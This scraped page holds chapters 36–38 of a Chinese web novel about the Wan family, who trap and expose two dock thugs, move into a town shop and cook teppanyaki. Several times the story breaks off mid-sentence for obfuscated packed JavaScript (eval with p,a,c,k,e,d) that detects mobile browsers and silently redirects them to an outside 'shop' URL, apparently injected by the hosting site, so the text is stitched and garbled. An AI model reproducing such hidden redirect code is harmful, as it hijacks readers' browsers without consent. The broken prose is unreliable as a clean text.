l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435530|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身从背篓里拿起两个小包，一份鲜虾饼，一份肉馅饼，特意用的油纸包装。 “娘，你去抓药的时候，顺便把这些给孙家小姐，再帮我带一句话给她。”她把饼子递过去，耳语了几句。 杜氏仔细听完，点点头：“还有别的吗？” “没了。”万秋灵看着她，“娘，其他的事，等回家了再说。” 这里不是说话的地方，杜氏也不再问，把东西收进篮子，往长春堂的方向走去。 收摊回到家里，天色已经逐渐暗下来了。 一家人用过饭，碗筷收了，才开始交换信息，万秋灵把她的分析一五一十地说了出来。 “阿豹和鼠子，应该就是那天追小乞丐的人……不，不是应该，而是一定。” 万小兰听完很是气愤：“阿姐！就因为你随手帮了那个小孩一把，他们就报复你？” 万秋灵代入思考了一下：“可能是把我当成了那孩子的同伙？毕竟我确实帮了人，不仅将他藏起来，还故意指了一个错误的方向，在他们看来会很可疑。” 杜氏听得心里发紧，犹豫着开口：“灵儿，既然你都不认识那孩子，要不……咱去跟那个姓钱的管事解释清楚？就说是一场误会。” 万秋灵果断摇了摇头，万老爹也皱着眉，一脸的不赞同。 “没用的，娘。一来，他不会信，二来，就算信了，也不会承认报复错了人。”她语气里带着嘲讽，“那钱管事特别好面子，他都亲自下场为难我一个丫头片子了，现在想让他自打自脸？不可能，他只会觉得，错了又如何？” 杜氏想了想，的确是这样，这个法子行不通。 万秋灵又问她：“娘，你说他们俩身上带着伤，有打听到是怎么一回事吗？” 杜氏把听到的消息说了出来：“说是前几天身上就带了伤，至于怎么伤的，没人敢打听。反正一开始走路都不太利索，码头上的人还都松了口气呢。” 万秋灵暗自猜测，或许正是因为受了伤，没法亲自出手，才撺掇了钱管事来。 她心里渐渐有了计较。 万小兰见她半晌不说话，急得凑过来：“阿姐，那我们怎么办？就这么白被欺负了？” 万秋灵抬起头，和杜氏对视了一眼，忽然笑了：“你阿姐是喜欢吃闷亏的人吗？” 她挑了下眉，那神态又自信，又带着点狡黠。 万小兰看着她的样子，一脸崇拜：“当然不是！阿姐最厉害了！” 周大嘴那一家子，现在不还夹着尾巴做人呢吗？ 万老爹坐在一旁，看着妻子和女儿们说话，心里痒痒的，又拉不下脸打听。 等回了屋里，万老爹坐在炕上，终于忍不住问道：“孩他娘，今天说的事，灵儿到底是怎么打算的？” 杜氏正在铺被褥，头也不抬：“什么打算？” “就是码头那两个人的事，”万老爹急了，“你们母女俩刚才眉来眼去的，当我没看见？” 杜氏却只是躺好闭上眼睛，半点没有要多聊的意思：“今天累了，快睡吧。” 万老爹：“……” 他躺在炕上，干瞪着房梁，越想越气。 孩他娘跟女儿谈完心之后，怎么也学了大女儿的那套神秘做派！什么事都爱瞒着！ 36. 孤魂庙 临近清明，天总是阴着。 偶尔落一阵雨，不算大，淅淅沥沥的，土路踩起来有些松软，镇上的青石板也变得滑脚。雨歇了也不见太阳，云层压得低，闷得人心里头烦躁。 下着毛毛雨，码头上的活计却没停，阿豹和鼠子歇了好几天，今儿又回来如往常一样监工。 两人伤势还没完全恢复，走快了腰腹就容易抽疼，不敢使大劲，瘀青也没消退干净，配上他们本就不善的面相，愈发显得凶恶。 “磨磨蹭蹭什么呢？”阿豹站在跳板边上，冲着船上正卸货的工人吼，“还不搬快点儿？当这是你们家炕头呢！” 工人缩了缩脖子，扛着袋子加快了脚步。 鼠子在一旁站着，手里拿了根藤条，倒不是用来随时抽人，而是抽打在地上，威慑他们。 今儿这艘船卸的都是大件货，多费了小半个时辰，散工比平时要晚。 “走，喝酒去。”阿豹拍了拍身上的灰，他们干完活习惯喝两口。 两人往码头外走，熟门熟路地拐进一条幽静的巷子，到了常去的酒肆。 酒肆不大，摆着四张小木桌子，酒是劣质的浊酒，便宜，够劲，干苦力的几乎都好这口。阿豹要了两碗，和鼠子占了个靠窗的位置，慢慢喝着。 外边就是小市集，这会儿人不如早上多，东西也不用摆那么密，有几个摊贩正在调整。 “……唉，你那个筐，别摆那么外边。” “怎么了？” “就刚才，老张的摊子被顺了东西。”说话的是个卖杂货的妇人，跟隔壁摊子的搭着话，“一个小叫花子，趁他不注意，抓起东西就跑。” “哎哟，那抓住人了吗？” “哪儿抓得住！别看那小叫花子一条腿不利索，跑得倒是快。老张让我盯着摊子，他去追，却看到人往孤魂庙那边跑，就不敢追了。” “孤魂庙？”问话人声音变了变，“那算了，听说白天都阴森森的，老张还是认栽吧！” 这话自然传到了二人的耳朵里，几乎是同时想到了一个人。阿豹的碗停在嘴边，和鼠子对视了一眼。 鼠子压低声音：“豹哥，会不会是……” 阿豹把碗往桌上一顿，起身就走，鼠子赶紧扔下酒钱跟了上去。 出了酒肆，阿豹的脸色黑得像锅底。 “妈的，怎么把孤魂庙那鬼地方给忘了。”他低声骂着，步子迈得很急。 孤魂庙是镇边上一座废弃的破庙，久未修缮，这些年又一直有闹鬼的传闻，没什么人敢去。 鼠子也是一脸懊恼：“这小兔崽子，倒是会躲。”他走了几步，忽然想起什么，“豹哥，我知道有条小路，能绕到庙后面去，不容易被发现。” “走，去小路。”阿豹阴狠地摩挲了一下拳头。 两旁的屋子渐渐稀少，路也逐渐变得荒芜。鼠子在前头带路，七拐八绕的，最后钻进一条几乎被杂草掩盖的小径。 “就在前头。”他压低声音。 远处，一座黑沉沉的庙宇渐渐显现出来。 孤魂庙的门关着，木板已经腐朽得不成样子，门上结满了蜘蛛网，看不出多久没人来过，四周的荒草长到了膝盖那么高，风一吹就簌簌地响。 两人没有贸然靠近，不确定那小崽子在不在里面，于是躲在小路的树丛后，隔了一段距离静静观察着。 等了约莫一盏茶的工夫，主路上出现了一个瘦小的人影。 鬼鬼祟祟的，走几步就回头看一眼，走几步又回头看一眼。怀里抱着个包袱，鼓鼓囊囊的，不知道装着什么。 离得远，看不清脸，但那一身脏污破烂的衣裳，还有膝盖上破着的大洞，都无比熟悉。 两个人顿时精神一振，就是他！恨不得立马就冲上去，但是忍住了，打算等他进去，来个瓮中捉鳖。 阿豹死死盯着那个人影，眼睛里冒着狠光。 小乞丐一直不放心地到处张望，确定没有人，才走到庙前，费力地推开那扇木门，门轴转动，发出刺耳的摩擦声。 门很重，又年久失修，他钻进去后半天合不拢，应该是门轴卡住了。 他犹豫了一下，往四周看了看，什么动静都没有。反正这地方也没人来，小乞丐便不再管那扇门，抱着包袱，往主殿的方向去了。 片刻后，两道健壮的身影从树丛后钻了出来。 他们压着脚步，悄无声息地靠近庙门，先后跨了进去。 …… 孤魂庙的主殿中央是一座半人高的神像，它周身都是缺口，已经看不出原本的轮廓。 神像前，香炉倒扣在桌上，积攒了厚厚一层灰，分不清是残留的香灰还是经年的尘土。 再往前的空地上，两个人横七竖八地躺着。他们的双手和双脚都被麻绳牢牢捆住，眼睛上蒙着黑布，嘴巴里塞了一大块的破布团。 阿豹是被冷水泼醒的。 他猛地睁开眼睛，眼前却黑乎乎一片，手脚动弹不得，嘴里塞满了东西，一股霉气熏得让人喘不上气。 发生了什么？ 他仔细回想……追着小崽子进了庙，才跨过门槛，后脑壳就挨了一下。 妈的，中套了！ 他挣扎了起来，却不知那绳子是怎么系的，越挣扎绳索束缚得越紧，便不敢再乱动。 阿豹嘴里呜呜个不停，试图用舌头把那团破布顶出去，却只尝到满嘴的灰土和霉味。 过了一会儿，有人走近，扯了扯他嘴里的布，松动了一点。阿豹赶紧把那团破布吐出去，随即破口大骂： “呸！你他妈谁啊？知道老子是谁吗？还不赶紧把老子放开，码头钱管事的人你也敢动？你他妈活腻……” 话还没说完，就被人一脚踹到肚子上，正中他旧伤的位置，阿豹痛得闷哼一声，再也骂不出一个字。 “为什么跟着这小孩……”问话的声音粗粝沙哑，“说清楚。” 那声音不大，却让阿豹和装死的鼠子都瑟缩了一下。 阿豹瞬间变了脸色，他想起了那天在巷子里，那双黑色靴子的主人，也是这样哑着嗓子说——废了你这双腿。 熟悉的恐惧感淹没了他，阿豹顾不上疼，连声道：“好汉！好汉饶命……我，我不知道那小崽……那小孩也是您的人，我有眼不识泰山！您放过我吧，我真的再也不敢了……” 他头蹭着地，蜷起的双腿努力往后缩，几乎是慌得胡言乱语。 半晌后，那人像是听得不耐烦了，又用力踹了他一脚，比刚才更狠，让他失了声。 鼠子听着豹哥那边的声音，一直发着抖，恨不得缩进地底下。可是手脚都被捆着，他只能装作还没醒的样子，一动也不敢动。 然而有脚步声停在了他面前，嘴里的布被扯走，紧接着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438569|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮一紧，有人拽着他的头发，硬生生把他的头提了起来。 那个暗哑的声音就在他耳边：“你来回答，要是回答得不好……” 鼠子浑身的血都凉了。 “别、别打我！我说！我说！”他根本扛不住压力，“那小孩……那小孩看见我们在仓库搬东西了，我们才……” 鼠子几乎是喊出来的，生怕说慢了一点就会被揍。 阿豹忍着痛吼他：“闭嘴！你疯了？” 但已经晚了，短短一句话，不用追问，无需更多解释，他们想要隐藏的秘密显而易见。 鼠子能感觉到，揪着他头发的那只手停了顿，接着，他的头被粗鲁地扔回地上，磕得生疼。 他脸贴着地面，惴惴不安地等待着接下来会发生什么。 之后又听到了一阵嚎叫声，却不是他发出来的，他只感觉口鼻被闷住，喘不上气。 恍惚中，手和脚上绳索都被解开，他却连抬手的力气都没有，意识越来越模糊，越来越远……最后什么也不知道了。 孤魂庙的门被推开，又重重合上，几道身影消失在主路上。 庙里重归寂静，模糊了面容的神像静静注视着一切。 …… 离开平口镇的队伍颇为壮观。除了万秋灵和杜氏，王家那边足足来了四人，墩子娘和三个儿子。 万秋灵没想到有朝一日还能体会到当导演的感觉，她手里攥着个鼓鼓囊囊的钱袋，开始挨个分发演出费。 “栓子得多收两文，这一身污泥，回去可不好洗，衣裳也弄坏了。” 栓子双手接过，乖乖道谢：“谢谢秋灵姐！” 墩子娘在旁边看着，拽了小儿子一把，脸上有些不好意思。 “哎哟，这皮猴到河里搓一搓就没了，哪值当多给？那裤子本就是破的！”她说着就要把钱塞回来。 “那墩子和大牛哥出了大力气，得多给些。”万秋灵转手塞给墩子和王大牛，这两人只是一个劲儿地憨笑。 三个孩子的钱，最后都上交到了墩子娘手里，再加上她那份，粗略一数起码得有个四十多文。 钱袋子实实在在的，墩子娘一时说不出话来，这些钱够他们家好些日子的开销了。 前些日子，三婶子和王二姑胡闹一通，她一直担心跟万家有了隔阂，所以这回秋灵来找她帮忙，她想都没想就应了。地里的活都扔给了墩子爹，等回去他看到这些铜板，估计也傻眼。 “杜妹子，秋灵出手真是大方。”墩子娘收好钱，跟杜氏感叹道。 杜氏早笑了笑，没接话。 她的竹筐装得满，虽说假扮卖杂货，里面却真有不少东西。除了麻绳抹布水壶那些，还有的物件是新买的，灵儿说等租到了铺面这些东西都用得上，不算浪费。 “娘，这份是你的。”万秋灵发完王家几人的，雨露均沾。 杜氏心里甜滋滋的，忍不住笑：“你啊……” “秋灵姐！你今天给了这样多，那竹签子就当我送的！”墩子已经做了大半筐，就等给她。 “一码归一码。签子我长期要用的，你且安心做着，该给的钱一文不会少。” 墩子娘这才知道，竹签子是万秋灵要花钱买的，她还以为墩子就是顺手帮个忙呢，原来是个长久的进项！ 她心里别提有多庆幸，跟万家、尤其是万秋灵交好，错不了。 37. 纸条 搬家 老江是镇上专门给人跑腿的挑夫，每日挑着担子搬运东西，就挣个辛苦钱。 约莫一个月前，他接了一单活，帮一个烟商把两箱货从码头运到街上的铺子里。箱子上了锁，封得严严实实的，他只管搬。 到了地方，烟商开箱验货，却发现其中一箱少了两包烟丝。 老江当时就慌了：“不可能！我一路盯着，箱子没开过。” 烟商把箱子转过来给他看，锁是完整的，贴封条的地方却有松动之后重新粘上的痕迹，不仔细观察很难发现。 老江心里一沉：“王老板，我真不知道这是咋回事，我发誓没动过这箱子！” 烟商倒也没为难他，提及有一个茶铺老板之前也遇到了这事，莫名其妙丢了些货，贼人又做的隐蔽，压根不晓得是何时何地丢的。 “我刚才瞧着封条就不对劲，果然是……”烟商叹了口气，“这货丢了，我得损失不少银子，你这趟脚力钱结不了了。” 老江也不敢争，人家确实少了货，没喊他赔钱都算轻的。 可回去的路上，他越想越憋屈，货又不是他偷的，却白白贴了力气！ 后面他还悄悄打听过，码头仓库这种偶尔少点东西的事，不是头一回了，每回丢的东西不算多，也没有证据，所以都不了了之。 从那之后，老江便不怎么接码头的活计，生怕再遇着这样的事，别挣不到钱，反倒要赔进去不少。 这天早上，老江是被冻醒的。 清明后的天依旧变幻莫测，昨晚落了半宿雨，屋里潮乎乎的，被褥摸上去都带着凉。 他索性起身到院子里洗脸，余光扫到门缝底下，似乎有什么东西。 他走过去，弯腰捡了起来。是一张纸条，纸很普通，上面歪歪扭扭写了两行字。 老江不识字，拿着那张纸翻来覆去看了几遍，也看不出什么名堂，还是去问了邻里念过书的后生，才得知写的些啥。 后生看完纸条，神情有些古怪：“老江，这上面写的……和上月初你丢的那趟货有关。” 老江有些紧张，这事儿他没跟几个人提过，难不成是烟商又反了悔，认定是他拿的，要他赔钱？ “上面说，码头货物丢失之事，是阿豹和鼠子所为，一部分赃物销往梅花桥街某杂货铺。” 老江呆愣了半晌。阿豹和鼠子？他当然知道那两个人，钱管事手下的，这纸条上指名道姓，说得有鼻子有眼的，如果是真的…… 他没那个胆子直接去问钱管事，但既然得了这信息，不管真假，先去找了那个烟商。 这样的信息，自然不止老江一个人收到。 码头上，钱管事那间棚屋门口，渐渐聚起了一些人，有不少是熟识。 “刁掌柜？” “王老板？你怎么也……” 话没说完，两人都看见了对方手里拿着的纸条，样式一样，大小也差不多。 两张拼在一起，字迹一看就是同一个人写的，内容略有不同，但消息都指向了同样的人—— 阿豹和鼠子。 …… 另一边，集市外围的摊子前也围了不少人。 “收歇几日？”一个大婶嗓门亮得很：“妹子，那是多少日？我可吃惯你家饼子了！” 万秋灵笑着解释：“婶子别急，几日也说不准，最多三四日，等铺子打理好就开张。” “铺子？”大婶一听，好奇地追问，“之后不在这摆了？” “对，租了间铺面，在梅花桥的东南处街道上，往后就固定在那边了。” 几个排队等着买饼的客人听见，纷纷凑上前来。 “梅花桥那条街？确实是好地段！” “租铺子可不便宜啊，那饼子是不是要涨价？” 万秋灵摇摇头：“价格不变，什锦的、肉馅的，都还是原价。”菜饼成本不高，肉馅饼本身定价就略贵些，到了梅花桥街正正合适。 “那就好那就好！” “有铺子好啊，能吃上新做的热乎的了！肯定比放温了的还香咧！” 万小兰嘴甜地接过话头：“叔、婶子，到时候还有许多新花样呢！保准你们没吃过！” “还有新的？是换新的口味了？”大婶问。 万小兰却只是神秘兮兮地说：“等铺子开张，您来了就知道啦！” “哟，小丫头还会吊人胃口了！” 众人笑起来，摊子前的气氛热热闹闹的。 有个熟客热心道：“你们挪到铺面，少不得要搬东西，找好脚夫没有？我认识几个，力气大，价钱公道，要不给妹子介绍一下？” 万秋灵客气道了谢，她已经联系了洞子村的石头，也算是熟人。 另一个妇人忽然想起什么，压低声音问：“对了，你那个表哥呢？好几日没见着了，是不是回去了？” 妇人是那日见过段渊一起摆摊的，还搭过话，所以才记着的。 万秋灵手上动作顿了顿。 “表哥他……”她笑了笑，语气轻松，“有点事，说不准啥时候回来呢。” 妇人点点头，没再多问。 万秋灵低头继续包饼，一瞬间有些恍惚。不知不觉，段渊已经离开十余日了，半点音讯都没有。 前几天杜氏还问过她：“齐公子没说何时回来吗？” 万老爹当时在旁边，闲闲地接了一句：“人家忙正事呢，说不定回了麒岭县，就不来了。” 话虽如此，家里那间“客房”依旧留着的，没人知道他还会不会来，什么时候来。 万秋灵把饼递给客人，收了钱，接着招呼下一个。 那点思绪很快就过去了，她没空想这些。 姐妹俩摆摊的时候，杜氏正在家里忙着收拾家当。 屋里堆满了大大小小的包袱，分门别类码得整整齐齐。锅碗瓢盆归在一处，被褥衣裳收在一处，杂七杂八的家什又归在一处。 自从租下铺面，杜氏就家里和铺子来回跑，两边捯饬。 万秋灵说了好几次，搬家时租个驴车，分两趟拉，把万老爹也一块儿拉走。 杜氏嘴上应着，却坚持要先背一些，解释道：“有的东西经不住磕碰，放驴车上不好看顾。” 其实家里哪有什么值钱的东西，不过是些用了多年的旧物，锅是补过的，碗是豁了口的，被褥也洗得发白了。只是杜氏样样都觉得有用，样样都想带上。 连那几只鸡仔都养出了感情，说要带到铺子后面搞个小鸡窝养着。 万秋灵回来，看她又在院子里清点东西，忍不住打趣：“娘，是不是菜圃也要搬走？” 杜氏竟然一脸认真地回答：“菜圃我拜托了墩子他娘帮我料理着，我偶尔回来摘一趟。” 万秋灵乐了：“那还不如让墩子带呢，反正他隔段时间就要到镇里送签子筒子那些。” 杜氏一拍大腿：“是这个道理！”又放下一桩心事，她脸上也露出笑来。 东西收拾得差不多了，杜氏站在院子里，环顾四周。 这间院子，是当年家里落魄之后匆忙找到的避难处。 刚买来的时候，也就两间破茅草屋。下雨天，屋里到处漏水，锅碗瓢盆都得拿出来接水。院子里的篱笆东倒西歪，灶屋墙都是裂的，四处灌风。 住了这么些年，一点一点缝缝补补，屋顶重新铺了，篱笆扎了新的，墙也重新用泥糊了个遍。 院子里种了一角菜，还搭了个鸡圈，竟也像点样子了。 虽然知道是要搬到更好的地方去，日子会更好过，可看着这个破旧的小院，杜氏一时间还有点不舍。 万秋灵从屋里出来，看见杜氏站在那儿发呆，走过去，轻轻挽住她的胳膊。 “娘，以后还能回来的。” 杜氏回过神，笑了笑：“嗯，还能回来。” 万小兰出门，悄悄寻了几个玩伴聚在一起。 她从怀里掏出几样小玩意，是拿攒下的零花钱买的，挨个分发。女娃得的是彩色的羽毛毽子，男娃得的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442267|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是陀螺，木头削得圆润，也涂了鲜艳的红色。 “小兰姐，这个真好看！”翠花摸着毽子尾巴上的羽毛爱不释手。 “我那彩色的风车你不是可喜欢吗？”万小兰一脸大方，“这个送你，以后踢毽子玩。” 二喜眼睛已经红了：“小兰姐，你以后住到镇上，我们就不能常在一起玩了。” 几个娃都挺舍不得她，万小兰活泼又仗义，比他们都大个一岁两岁的，都喊一声“姐”。 万小兰看着他们这样，鼻子也有点酸。 二喜和翠花一人拉着她一只手，三个小姑娘对着哭了一阵，栓子和富贵也悄悄抹了抹眼睛。 万小兰努力回想了一下阿姐说过的那句话，叫什么来着？天下没有不散的席…… 于是吸了吸鼻子，努力装成大人的语气说：“镇上又不远，你们来找我，我一样带你们玩！” 她心里偷偷补了一句：就是要跟娘和阿姐告个假。 …… 隔天一早，约定的驴车到了。 赶车的是个老头，话不多，帮着把东西往车上搬。先装的一车是家当，被褥衣裳、杂七杂八的家什，堆得满满当当。 万秋灵和万小兰坐在车的两边，墩子也跟着去，在一旁照看着，以防路上有东西颠下来。 这是万秋灵头一回坐驴车，速度虽不快，但土路坑坑洼洼的，车身时不时就颠簸一下。姐妹俩一人拿了个装衣裳的包袱垫了坐，不然屁股磕得生疼，只有墩子坐得稳如泰山。 村里人见这架势，纷纷凑过来问。 “哟，秋灵、小兰，这是要搬走啊？墩子也去？” 万秋灵笑着答：“婶子，暂时搬到镇上，墩子跟着帮忙的。” “那以后还回村不？” “回的，娘还种着菜呢。” 驴车不紧不慢地往前走着，逐渐把那些问话和打量的目光甩在身后。 有些人早就瞧出苗头了。这段时日杜氏三天两头背着东西往镇上跑，说是去送东西，可又不像和姐妹俩一起摆摊的，原来是往镇上搬家呢。 又过了一个时辰，第二趟驴车进村，这次载的是杜氏和万老爹。 万老爹自打受伤后，就没怎么在村里露过面。今儿个坐在驴车里，一手抓着车帮上的把手，身子随着车身轻轻晃着。 “那是万飞吧？瞧着精神头不错啊！” “人也没瘦多少，在家养了这些日子，比他刚伤那会儿强多了。” 驴车从他们面前驶过，杜氏笑着跟相熟的妇人打招呼，万老爹也朝几个认识的点点头。 问起搬去哪儿、镇上做什么生意，杜氏只是笑笑，说还在安顿好呢，说不定。 想八卦的村民从他们这也没问出什么来，但有一件事是明摆着的，万家这是真的赚上钱了！要去镇上生活了！ 消息像长了翅膀一样，很快传遍了大洼村，吃饭时，家家户户都在议论这事儿。 万家的变化多少冲击了他们的认知，他们一家住在村里最尾巴的地方，和其他家往来少，本以为两个丫头挣点毛毛钱…… “哎，你说她们卖吃食，真那么赚钱？要不咱家也试试？” “我听别的人说她们卖什么饼子，滋味好，可也不知道咋做啊，你会做？” “不会多琢磨呗，人家能做，咱难道就不行？” 有的人羡慕，有的人嫉妒地说两句风凉话，也有人默默盘算着。 最不痛快的，要数周家和王老三家，这两家都在万家手里吃过瘪。 周大嘴那件事，全村都知道，从那以后，周家人出门都少了，生怕被人指指点点。 王老三家倒是没闹那么大，可三婶子和王二姑是被人赶出来的，闹得也不好看，心里一直存着气呢。 这会儿听说万家搬走了，两家人心里别提多复杂了。 听他们赚了钱，不痛快是真的，可松了一口气，也是真的。 往后在村里走动，再也不用担心碰上万家人了。 38. 铁板烧 石头和两个兄弟早早在镇子口等着。 街上正是热闹的时候，挑担的、推车的、挎篮子的，人来人往，驴车开进去太慢，到这儿就换人力搬运了。 石头几人都是熟手，三下两下把东西摞好，用绳子一穿，稳稳挑在了扁担上。 墩子也学着他们的样子，挑了满满一担子，石头瞅见了，夸他力气不小，墩子咧着嘴笑得傻气。 一行人沿着街巷往里走，拐过几个弯，到了梅花桥街。 铺门是关着的，他们绕到后门进去，里头是一个不大的院子。 杜氏已经仔细打扫过了，屋子的门窗都敞着，全部擦过一遍，墙角堆着些扫拢的落叶还没来得及处理。 墩子转着圈四处看，镇上房子果然好，脚下是铺得整整齐齐的石板小道，屋顶是正儿八经的青瓦，檐角还伸出来一截，雨天能够挡着。 石头他们见识多些，将行李沿着墙根放好，打量一圈也夸了几句。 “这院子方正，采光好。” “妹子，你这灶屋烟囱通风不，不通我可以顺一顺。” 万秋灵从屋里翻了几个凳子出来，应道：“通的，石头哥。你们先坐下歇口气，一会还有一趟呢。” 万小兰已经跑去灶屋端了水，递给几个帮忙的。 第二趟驴车来得比预计晚了些，运的大件东西多点，除了桌椅，还有几口木箱子。几个挑夫来来回回搬了好几趟，额头上都冒了汗。 万老爹拄着拐杖走不快，石头干脆把他背了起来，万老爹僵着身子，颇为不自在。 等被放到院子里的椅子上时，他的老脸还有点挂不住，试图挽尊：“我自己走过来也行……” 杜氏正拿着钱袋数钱，听到他这话，直言道：“等你走回来，饭都凉了。” 万老爹噎住，不说话了。墩子别过脸，想笑又不敢笑。 杜氏把工钱结了，又留他们吃饭，石头几人自然不好意思，只说还要去接活，以后有什么需要再找他们就是。 最后只留下墩子，他摸摸脑袋，去帮着安顿小鸡和母鸡。 万秋灵和万小兰已经把菜备好了，杜氏进了灶屋，直接就开始炒菜。 新的灶屋很亮堂，窗户开得大，日头照进来，满屋子都是光。 虽然也没有多大，却整整安了三口锅，两口大锅，烟囱靠墙拐个弯，角落里还有一口小锅，正焖着饭，咕嘟咕嘟冒着热气。 听牙人说，上一家是做蒸菜生意的，专门把主灶改大了些。 东西还没置办全，菜做的简单，一道菠菜炒鸡蛋，一道肉丝香干，稍微费点时间的是豌豆苗滑肉汤。 院子里摆了张桌子，敞敞亮亮的。 墩子坐在桌边，看着一道道菜端上来，有肉有蛋，实实在在的好菜，原本没觉得多饿，现在肚子都快响了。 他吃得赞不绝口，特别是那碗滑肉汤，肉嫩，汤还鲜，满满一大罐，吃到最后一滴汤没留。 万秋灵一边吃一边安排下午的事情：“娘，你和小兰下午去添些日常杂物，另外买几个大点的蒸屉，往后蒸东西用得着。” “墩子，你和我去一趟铁匠铺。” 墩子一抹嘴：“行！” 她定做的炸锅早就做好了，一直寄存着，后面又定做了两块平底的铁板锅，配套的扁平的煎铲，还有圆形模具。 除了定制，她还买了铺子里现成的小炉子和铁丝三角架，煮茶烧水或者烘烤东西都方便。 墩子分趟把这些东西扛回铺子里，算是完成了今天的使命，拿到万秋灵结的工钱，这才高高兴兴回了村。 新买的和带来的各类物品都需要整理，等一切都收拾停当，天已经擦黑，到了休息的时间。 万秋灵伸了个懒腰，脸上露出了点笑意。 这后院还有个好处，虽然房间小，但实打实有三间独立的屋子，她终于可以和妹妹分开睡了。 万小兰却不太乐意，她跟在姐姐屁股后面转：“阿姐，我想跟你睡。” “太挤了，乖，回自己屋。” 杜氏笑她：“多大人了，还要跟姐姐睡。” “我就喜欢和阿姐睡嘛……”万小兰眼珠转了转，忽然想到一个理由，“而且满仓哥说不定什么时候就来了呢！他要是来了，没地方住怎么办？” 万秋灵脚步顿了顿。 “来了就让他在铺子里打地铺。”她头也不回地说。 万小兰眨眨眼，搬出满仓哥都不行……她一时又想不出别的理由，只好撅着嘴回了自己的屋。 之后两天，万秋灵拉着杜氏和万小兰，几乎把镇上跑了个遍，筹备开张的货料。 铺子里新砌的几个泥炉，阴干好几天，已经能开始用了，铺面租金毕竟不便宜，早点开早点赚钱。 要囤的东西多，米面肉油、调味料、油纸荷叶、炭火柴火……每一样都精打细算、货比三家，找了最合适的进货渠道，谈妥价格，有的还能包配送。 她们还去了裁缝铺子，每人定了两套新衣裳。一套耐脏的粗布衣服，干活的时候穿，和家里的旧衣服换着来；一套面料好些的，颜色素净，留着歇息时穿出去逛。 万老爹不方便出门，万秋灵便给他买了套现成的新衣。 杜氏摸了摸布料，有点心疼：“这料子好，买了布娘裁着做就行，何必花这手工钱？” 万秋灵笑着摇头：“娘，做衣服费工夫，您现在哪有闲空？” 她又在店里挑了两匹粗布，让杜氏带回去做围裙。围裙简单，裁几刀缝几针就好，不费事。 杜氏这才没再说什么。 陆续有送货的登门，由万老爹坐镇，负责核对和收货。等东西筹备完，院子和灶屋里都堆得满满当当。 这天下午，一家人围着院子收拾和忙活。万老爹也没能躲清闲，坐在椅子上，老老实实地剁肉馅。 “阿姐，”万小兰裹着猪排，看见桌子上有一摞猪皮，好奇问，“咋买了这么多猪皮，是用来润锅吗？” “那个啊，一会儿做皮冻。”万秋灵正在熬红豆，抽空回答。 等备好红豆馅，她挪了两个小炉子到院子中央，一个放上了铁板，一个放上铁丝架，准备做晚饭。 万小兰立刻自觉地生火，两个炉子很快冒了热气。 铁板烧热，万秋灵倒了些新买的菜籽油，加入切好的姜蒜和干辣椒，香味瞬间爆出来，之后下入提前腌制过的肉和蔬菜，铁板很快被填得不留空隙。 另一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445044|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大片的肉被放到铁丝架上烤着，万秋灵用一头切成丝的葱蘸了油，在肉上刷过，肉片遇热开始变色蜷缩，烘烤一会后，她撒上猪排用的干料。 一时间，整个院子都是香味，杜氏和万老爹手里的动作都停了下来。 杜氏嗅了一口，忍不住笑：“闻着这味儿，干活都来劲。” 万秋灵翻动着铁板上的食物，下面那层已经煎得焦透，翻过来，另一面继续煎。铁架上的肉已经盛到碟子里，换上新的一波继续烤。 “小兰，去把馒头端来，开饭。” 万小兰窜得比兔子还快，飞奔到灶屋，边跑边喊：“终于能吃了！” 都用不着桌子，四人围在炉边，手里拿着馒头，就着热腾腾的铁板烧，大口大口地吃起来。 铁板上的肉菜滋滋作响，热气在往上冒，夹一筷子，裹在掰开的馒头里，浸满了肉和蔬菜香味，吃着比肉包子还满足。 万小兰来不及吹凉就塞嘴里，烫得痛呼一声，赶紧咬了好几口馒头解烫。 “你慢点吃，还多着呢。”万秋灵依旧是戳她的额头。 杜氏吃得连连点头：“难怪灵儿要多做一块小的铁板，这样一锅出，又方便又热乎，越煎到后面越香，油都浸满了味道。” 万老爹不说话，只埋头吃。他将烤好的几片肉卷成一团，一口闷下去，细细嚼着，满嘴都是撒料的香辣，还有令人满足的肉香。 吃了好一会儿，炉子上已经换上了新的铁架和水壶，吃着饭的功夫，水也慢慢烧开了，别提有多方便。 天色渐晚，后院毕竟不如农村的院子敞亮，天空被四周的院墙框成四四方方一块，夕阳从墙头斜斜地照进来，抬眼只能看到点边。 